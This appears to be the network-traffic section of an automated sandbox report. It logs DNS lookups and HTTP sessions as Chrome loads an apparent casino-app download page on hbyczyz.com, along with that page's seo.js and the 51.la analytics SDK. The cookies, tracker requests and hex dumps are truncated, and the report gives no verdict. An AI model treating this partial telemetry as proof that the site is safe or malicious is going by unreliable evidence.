Sep 27, 2024 05:51:02.557487965 CEST	1.1.1.1	192.168.2.5	0xfa14	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:02.776051044 CEST	1.1.1.1	192.168.2.5	0xace4	No error (0)	sp0.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:02.776051044 CEST	1.1.1.1	192.168.2.5	0xace4	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:03.902154922 CEST	1.1.1.1	192.168.2.5	0x12ad	No error (0)	js.users.51.la	js.users.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:03.902154922 CEST	1.1.1.1	192.168.2.5	0x12ad	No error (0)	js.users.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:03.902154922 CEST	1.1.1.1	192.168.2.5	0x12ad	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		98.98.25.17	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:03.902154922 CEST	1.1.1.1	192.168.2.5	0x12ad	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		149.104.73.28	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:03.902154922 CEST	1.1.1.1	192.168.2.5	0x12ad	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		149.104.74.82	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:04.134417057 CEST	1.1.1.1	192.168.2.5	0x83fd	No error (0)	js.users.51.la	js.users.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:04.134417057 CEST	1.1.1.1	192.168.2.5	0x83fd	No error (0)	js.users.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:04.150551081 CEST	1.1.1.1	192.168.2.5	0xc986	No error (0)	sdk.51.la	sdk.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:04.150551081 CEST	1.1.1.1	192.168.2.5	0xc986	No error (0)	sdk.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:04.159513950 CEST	1.1.1.1	192.168.2.5	0x6db0	No error (0)	sdk.51.la	sdk.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:04.159513950 CEST	1.1.1.1	192.168.2.5	0x6db0	No error (0)	sdk.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:04.159513950 CEST	1.1.1.1	192.168.2.5	0x6db0	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		148.153.240.75	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:04.159513950 CEST	1.1.1.1	192.168.2.5	0x6db0	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.25	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:06.090933084 CEST	1.1.1.1	192.168.2.5	0x2497	No error (0)	ia.51.la	ia.51.la.d183e8b1.cdnhwcggk22.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:06.090933084 CEST	1.1.1.1	192.168.2.5	0x2497	No error (0)	ia.51.la.d183e8b1.cdnhwcggk22.com	hcdnwsa101.vip.cdnhwckon103.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:06.090933084 CEST	1.1.1.1	192.168.2.5	0x2497	No error (0)	hcdnwsa101.vip.cdnhwckon103.com		182.118.39.155	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:06.090933084 CEST	1.1.1.1	192.168.2.5	0x2497	No error (0)	hcdnwsa101.vip.cdnhwckon103.com		118.123.207.191	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:06.163161993 CEST	1.1.1.1	192.168.2.5	0x29cc	No error (0)	collect-v6.51.la	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:06.163161993 CEST	1.1.1.1	192.168.2.5	0x29cc	No error (0)	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:06.165740013 CEST	1.1.1.1	192.168.2.5	0x9f7b	No error (0)	collect-v6.51.la	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:06.165740013 CEST	1.1.1.1	192.168.2.5	0x9f7b	No error (0)	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:06.165740013 CEST	1.1.1.1	192.168.2.5	0x9f7b	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		148.153.240.75	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:06.165740013 CEST	1.1.1.1	192.168.2.5	0x9f7b	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.25	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:06.730909109 CEST	1.1.1.1	192.168.2.5	0x90cd	No error (0)	ia.51.la	ia.51.la.d183e8b1.cdnhwcggk22.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:06.730909109 CEST	1.1.1.1	192.168.2.5	0x90cd	No error (0)	ia.51.la.d183e8b1.cdnhwcggk22.com	hcdnwsa101.vip.cdnhwckon103.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:27.272222996 CEST	1.1.1.1	192.168.2.5	0xfb40	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:27.272222996 CEST	1.1.1.1	192.168.2.5	0xfb40	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:41.493774891 CEST	1.1.1.1	192.168.2.5	0xf4e6	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:51:41.493774891 CEST	1.1.1.1	192.168.2.5	0xf4e6	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49710	50.2.64.137	80	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 05:50:30.758079052 CEST	429	OUT	GET /xrr HTTP/1.1 Host: hbyczyz.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Sep 27, 2024 05:50:31.235512018 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:05 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/5.4.41 Content-Encoding: gzip Data Raw: 34 36 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 56 41 8f db 44 14 be 47 da ff 30 78 45 93 a0 8d ed 34 49 59 39 76 60 0b 95 e0 d2 ae 60 85 84 aa aa 1a db 63 7b ba ce 8c 35 33 de dd 64 b5 12 12 dc 2a 10 a8 08 50 5b 10 70 40 bd 50 09 10 a8 1c 56 fb 67 36 b0 f9 17 bc b1 9d 8d 53 76 55 09 4e 48 24 f2 c4 9e f1 fb de 9b 6f de fb 5e dc 97 de bc f5 c6 ce fb db 37 50 a2 c6 e9 a8 e1 ea 1f 94 62 16 7b 06 61 86 9e 20 38 1c b9 32 10 34 53 a3 3d 2c d0 7b 77 b7 b7 76 de f2 0c cb 18 ee 53 16 f2 7d 93 33 22 04 17 5e 94 b3 40 51 ce 5a ed 43 24 88 ca 05 43 4a e4 64 88 8e 86 ae 55 21 34 10 7c dc 31 51 18 05 09 16 92 28 cf c8 55 d4 d9 04 5f c5 92 a2 2a 25 a3 49 32 e8 f5 7a 9b 9b f3 07 bf fd f1 f3 2f b7 67 8f ef cf 1f 3e ba 73 7a f2 d3 e9 ef 9f ce 3f 7c d2 79 fb d6 bb d6 16 0b 05 a7 a1 b5 b5 bd 7d fa ec fe d9 f1 b1 6b 95 c6 8d 86 9b 52 b6 0b 31 a4 9e 81 53 45 04 c3 8a 18 68 4c 42 8a 3d 83 b3 74 82 20 1c 42 18 c2 2c 6c 8d f1 41 67 9f 86 2a 71 d0 b5 be 9d 1d b4 0d 94 08 12 79 46 a2 54 e6 58 56 e2 4f 82 e9 64 6a 06 7c 6c 2c [TRUNCATED] Data Ascii: 460VADG0xE4IY9v``c{53dP[p@PVg6SvUNH$o^7Pb{a 824S=,{wvS}3"^@QZC$CJdU!4\|1Q(U_%I2z/g>sz?\|y}kR1SEhLB=t B,lAgqyFTXVOdj\|l,@jP@Y.wg )uxez_+&2B#\|,VA{jlN"m$qsgT@"<{\qo]zpl=l>'-q=<__LFQt$p's&e2$1I _Y8"ApFK!eqm24\)j{u~(0Tf)8Oy{1z:G:!8^v>!<!Z'^\Zvi.SA,4skeP;^-P%UIW;#dW0jzlw\|!GVIB2!GT_l}:l`EU5@wu@J]kjVTd?CyMP6)Ofil P`X8sfV-f}2j{jrlE!&Z"htjT#(dJK1UV'Cm?%QCRI.\|`1nZsub*o1i,a!1)RIiY{Qu~tG.e
Sep 27, 2024 05:50:31.235548973 CEST	131	IN	Data Raw: 5b e2 5d 1f 7a f0 ae f1 4f fb 20 86 56 02 c8 d0 bd bb a3 be dd af 1e b2 d1 ec c1 27 b3 cf 3e 30 4d f3 f4 f8 db b3 a7 27 f3 2f 9f fe f9 f0 a3 f9 77 bf ce bf fe fe f4 d9 c7 b3 1f bf 9a 3d 7e e2 5a 19 18 42 7b 4e b1 94 9e 51 aa e8 a2 25 5a c6 e8 ec Data Ascii: []zO V'>0M'/w=~ZB{NQ%Zo?\|vu?;/KhvV<DWC'0
Sep 27, 2024 05:50:31.343023062 CEST	303	OUT	GET /seo.js HTTP/1.1 Host: hbyczyz.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://hbyczyz.com/xrr Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Sep 27, 2024 05:50:31.441242933 CEST	376	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 27 Sep 2024 03:50:06 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Location: https://www.hbyczyz.com/seo.js Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Sep 27, 2024 05:50:43.768898010 CEST	879	OUT	GET /favicon.ico HTTP/1.1 Host: hbyczyz.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://hbyczyz.com/xrr Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: __tins__21261259=%7B%22sid%22%3A%201727409034063%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201727410834063%7D; __51cke__=; __51laig__=1; __vtins__Je2vxuGiqIpyNLW9=%7B%22sid%22%3A%20%22c0ec8e9d-6314-510f-88b5-90af8038f20e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201727409599999%2C%20%22ct%22%3A%201727409037136%7D; __51uvsct__Je2vxuGiqIpyNLW9=1; __51vcke__Je2vxuGiqIpyNLW9=41f960dd-d5e4-5b28-8570-a33678e00f7b; __51vuft__Je2vxuGiqIpyNLW9=1727409037142
Sep 27, 2024 05:50:43.867520094 CEST	381	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 27 Sep 2024 03:50:18 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Location: https://www.hbyczyz.com/favicon.ico Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Sep 27, 2024 05:50:52.073224068 CEST	936	OUT	GET / HTTP/1.1 Host: hbyczyz.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: __tins__21261259=%7B%22sid%22%3A%201727409034063%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201727410834063%7D; __51cke__=; __51laig__=1; __vtins__Je2vxuGiqIpyNLW9=%7B%22sid%22%3A%20%22c0ec8e9d-6314-510f-88b5-90af8038f20e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201727409599999%2C%20%22ct%22%3A%201727409037136%7D; __51uvsct__Je2vxuGiqIpyNLW9=1; __51vcke__Je2vxuGiqIpyNLW9=41f960dd-d5e4-5b28-8570-a33678e00f7b; __51vuft__Je2vxuGiqIpyNLW9=1727409037142
Sep 27, 2024 05:50:52.168122053 CEST	370	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 27 Sep 2024 03:50:26 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Location: https://www.hbyczyz.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Sep 27, 2024 05:51:37.183948994 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49728	118.123.207.191	80	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 05:50:35.103775024 CEST	709	OUT	GET /go1?id=21261259&rt=1727409034063&rl=12801024&lang=en-US&ct=unknow&pf=1&ins=1&vd=1&ce=1&cd=24&ds=&ing=1&ekc=&sid=1727409034063&tt=yh533388%25E9%2593%25B6%25E6%25B2%25B3%255B%25E5%259C%258B%25E9%259A%259B%255D%25E4%25BF%25B1%25E4%25B9%2590%25E9%2583%25A8-IOS%252FAndroid%252FAPP%25E4%25B8%258B%25E8%25BD%25BD&kw=&cu=http%253A%252F%252Fhbyczyz.com%252Fxrr&pu= HTTP/1.1 Host: ia.51.la Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Referer: http://hbyczyz.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Sep 27, 2024 05:50:36.180128098 CEST	281	IN	HTTP/1.1 200 Date: Fri, 27 Sep 2024 03:50:36 GMT Content-Length: 0 Connection: keep-alive Server: nginx via: CHN-SCchengdu-AREACT1-CACHE3[66],CHN-SCchengdu-AREACT1-CACHE3[ovl,20],CHN-HAzhengzhou-GLOBAL3-CACHE18[ovl,1] X-CCDN-REQ-ID-46B1: 304b6291fea9e9e972ebb2b6118e89a0
Sep 27, 2024 05:51:21.180449963 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49730	90.84.161.25	80	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 05:50:35.556793928 CEST	309	OUT	GET /js-sdk-pro.min.js HTTP/1.1 Host: sdk.51.la Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://hbyczyz.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Sep 27, 2024 05:50:36.720228910 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 03:50:36 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: openresty Cache-Control: no-store Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true via: EU-GER-frankfurt-EDGE5-CACHE1[455],EU-GER-frankfurt-EDGE5-CACHE1[ovl,449],CHN-HElangfang-GLOBAL6-CACHE104[ovl,18] X-CCDN-REQ-ID-46B1: ee902f8677f45bcd96718a114aad3a63 Data Raw: 61 35 39 0d 0a 2f 2a 21 0a 2a 20 35 31 4c 41 20 41 6e 61 6c 79 73 69 73 20 4a 61 76 61 73 63 72 69 70 74 20 53 6f 66 74 77 61 72 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 20 4b 69 74 0a 2a 20 6a 73 2d 73 64 6b 2d 70 72 6f 20 76 31 2e 35 38 2e 33 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 c2 a9 20 32 30 31 36 2d 32 30 32 32 20 35 31 2e 6c 61 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 0a 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2c 67 3d 65 5b 27 64 6f 63 75 6d 65 6e 74 27 5d 2c 68 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 2c 69 3d 41 28 27 4f 62 6a 65 63 74 27 29 2c 6a 3d 41 28 27 4e 75 6d 62 65 72 27 29 2c 6b 3d 41 28 27 53 74 72 69 6e 67 27 29 2c 6d 3d 41 28 27 41 72 72 61 79 27 29 2c 6e 3d 41 28 27 46 75 6e 63 74 69 6f 6e 27 29 2c 6f 3d 41 28 27 52 65 67 45 78 70 27 29 3b 66 75 6e 63 74 69 6f 6e 20 71 28 74 2c 75 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 78 30 21 3d 3d 74 26 26 2d 30 78 31 [TRUNCATED] Data Ascii: a59/! 51LA Analysis Javascript Software Development Kit* js-sdk-pro v1.58.3* Copyright 2016-2022 51.la All Rights Reserved*/(function(c){'use strict';var e=window,g=e['document'],h=encodeURIComponent,i=A('Object'),j=A('Number'),k=A('String'),m=A('Array'),n=A('Function'),o=A('RegExp');function q(t,u){return void 0x0!==t&&-0x1!==t['indexOf'](u);}function v(w,x){for(var y=0x0,z=w['length'];y<z;y++)if(w[y]==x)return y;return-0x1;}function A(B){return function(C){return Object['prototype']['toString']['call'](C)==='[object\x20'['concat'](B,']');};}function D(){for(var E=0x0,F={};E<arguments['length'];E++){var G=arguments[E];for(var H in G)F[H]=G[H];}return F;}function I(J){return J['replace'](/&/g,'~_~');}function K(L){var M='';for(var N in L)''!==M&&(M+='&'),M+=N+'='+h(h(I(Strin
Sep 27, 2024 05:50:36.720455885 CEST	1236	IN	Data Raw: 67 28 4c 5b 4e 5d 29 29 29 29 3b 72 65 74 75 72 6e 20 4d 3b 7d 66 75 6e 63 74 69 6f 6e 20 4f 28 50 29 7b 72 65 74 75 72 6e 20 50 5b 27 72 65 70 6c 61 63 65 27 5d 28 2f 5e 5c 73 2b 7c 5c 73 2b 24 2f 67 2c 27 27 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 Data Ascii: g(L[N]))));return M;}function O(P){return P['replace'](/^\s+\|\s+$/g,'');}function Q(){return+new Date();}function R(S){var T=e['navigator']['userAgent'],U=new RegExp(/\b(?:Chrome\|CrMo\|CriOS)\/([\d.]+)/)['exec'](T);return!(U&&U['length']&&U[0x1
Sep 27, 2024 05:50:36.720472097 CEST	623	IN	Data Raw: 68 27 5d 3f 61 62 5b 30 78 30 5d 5b 27 69 6e 6e 65 72 48 54 4d 4c 27 5d 3a 27 27 29 2c 61 63 5b 27 74 74 27 5d 3d 61 63 5b 27 74 74 27 5d 5b 27 73 6c 69 63 65 27 5d 28 30 78 30 2c 30 78 33 65 38 29 3b 66 6f 72 28 76 61 72 20 61 64 3d 30 78 30 3b Data Ascii: h']?ab[0x0]['innerHTML']:''),ac['tt']=ac['tt']['slice'](0x0,0x3e8);for(var ad=0x0;ad<aa['length'];ad++)aa[ad]['name']&&(a9=aa[ad]['name']['toLowerCase'](),V['xdaPuS']('keywords',a9)&&(ac['kw']=aa[ad]['content']),V['xdaPuS']('description',a9)&&
Sep 27, 2024 05:50:36.867635965 CEST	1236	IN	Data Raw: 33 38 66 38 0d 0a 3d 61 6c 5b 27 63 68 61 72 43 6f 64 65 41 74 27 5d 28 61 6e 29 3b 61 6d 5b 30 78 32 2a 61 6e 5d 3d 61 70 3e 3e 3e 30 78 38 2c 61 6d 5b 30 78 32 2a 61 6e 2b 30 78 31 5d 3d 61 70 25 30 78 31 30 30 3b 7d 72 65 74 75 72 6e 20 61 6d Data Ascii: 38f8=al['charCodeAt'](an);am[0x2an]=ap>>>0x8,am[0x2an+0x1]=ap%0x100;}return am;},'zvqA':function(ag){return null==ag?'':ah['RCWS'](ag,0x6,function(ag){return'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-$'['charAt'](ag);
Sep 27, 2024 05:50:36.867679119 CEST	1236	IN	Data Raw: 48 2b 2b 29 2c 64 65 6c 65 74 65 20 61 42 5b 61 45 5d 3b 7d 65 6c 73 65 20 66 6f 72 28 61 79 3d 61 41 5b 61 45 5d 2c 61 78 3d 30 78 30 3b 61 78 3c 61 48 3b 61 78 2b 2b 29 61 4a 3d 61 4a 3c 3c 30 78 31 7c 30 78 31 26 61 79 2c 61 4b 3d 3d 61 68 2d Data Ascii: H++),delete aB[aE];}else for(ay=aA[aE],ax=0x0;ax<aH;ax++)aJ=aJ<<0x1\|0x1&ay,aK==ah-0x1?(aK=0x0,aI['push'](aw(aJ)),aJ=0x0):aK++,ay>>=0x1;0x0==--aF&&(aF=Math['pow'](0x2,aH),aH++),aA[aD]=aG++,aE=String(aC);}if(''!==aE){if(Object['prototype']['hasO
Sep 27, 2024 05:50:36.867713928 CEST	1236	IN	Data Raw: 65 6f 66 20 53 79 6d 62 6f 6c 5b 27 69 74 65 72 61 74 6f 72 27 5d 3f 66 75 6e 63 74 69 6f 6e 28 61 4d 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 4d 3b 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 4d 29 7b 72 65 74 75 72 6e 20 61 4d 26 26 27 66 75 Data Ascii: eof Symbol['iterator']?function(aM){return typeof aM;}:function(aM){return aM&&'function'==typeof Symbol&&aM['constructor']===Symbol&&aM!==Symbol['prototype']?'symbol':typeof aM;})(aM);}var aP={'parse':function gw(aV){return eval('('+aV+')');}
Sep 27, 2024 05:50:36.869064093 CEST	1236	IN	Data Raw: 79 26 26 6e 75 6c 6c 21 3d 3d 55 69 6e 74 38 41 72 72 61 79 29 7b 76 61 72 20 62 34 3d 55 69 6e 74 38 41 72 72 61 79 2c 62 35 3d 55 69 6e 74 31 36 41 72 72 61 79 2c 62 36 3d 55 69 6e 74 33 32 41 72 72 61 79 2c 62 37 3d 6e 65 77 20 62 34 28 5b 30 Data Ascii: y&&null!==Uint8Array){var b4=Uint8Array,b5=Uint16Array,b6=Uint32Array,b7=new b4([0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x1,0x1,0x1,0x2,0x2,0x2,0x2,0x3,0x3,0x3,0x3,0x4,0x4,0x4,0x4,0x5,0x5,0x5,0x5,0x0,0x0,0x0,0x0]),b8=new b4([0x0,0x0,0x0,0x0,0x1,0
Sep 27, 2024 05:50:36.869097948 CEST	1236	IN	Data Raw: 3c 3c 30 78 34 7c 62 34 5b 62 39 5d 2c 62 6c 3d 62 36 2d 62 34 5b 62 39 5d 2c 62 6e 3d 62 63 5b 62 34 5b 62 39 5d 2d 30 78 31 5d 2b 2b 3c 3c 62 6c 2c 62 6f 3d 62 6e 7c 28 30 78 31 3c 3c 62 6c 29 2d 30 78 31 3b 62 6e 3c 3d 62 6f 3b 2b 2b 62 6e 29 Data Ascii: <<0x4\|b4[b9],bl=b6-b4[b9],bn=bc[b4[b9]-0x1]++<<bl,bo=bn\|(0x1<<bl)-0x1;bn<=bo;++bn)bb[bm[bn]>>>bd]=bk;}else for(bb=new b5(b8),b9=0x0;b9<b8;++b9)b4[b9]&&(bb[b9]=bm[bc[b4[b9]-0x1]++]>>>0xf-b4[b9]);return bb;},bq=new b4(0x120);for(bn=0x0;bn<0x90;+
Sep 27, 2024 05:50:36.870759964 CEST	1236	IN	Data Raw: 30 78 36 31 61 39 7d 29 3b 76 61 72 20 62 64 3d 62 38 5b 30 78 30 5d 2c 62 6b 3d 62 38 5b 30 78 31 5d 2c 62 6c 3d 30 78 30 2c 62 6d 3d 30 78 31 2c 62 6e 3d 30 78 32 3b 66 6f 72 28 62 38 5b 30 78 30 5d 3d 7b 27 73 27 3a 2d 30 78 31 2c 27 66 27 3a Data Ascii: 0x61a9});var bd=b8[0x0],bk=b8[0x1],bl=0x0,bm=0x1,bn=0x2;for(b8[0x0]={'s':-0x1,'f':bd['f']+bk['f'],'l':bd,'r':bk};bm!=ba-0x1;)bd=b8[b8[bl]['f']<b8[bn]['f']?bl++:bn++],bk=b8[bl!=bm&&b8[bl]['f']<b8[bn]['f']?bl++:bn++],b8[bm++]={'s':-0x1,'f':bd['f
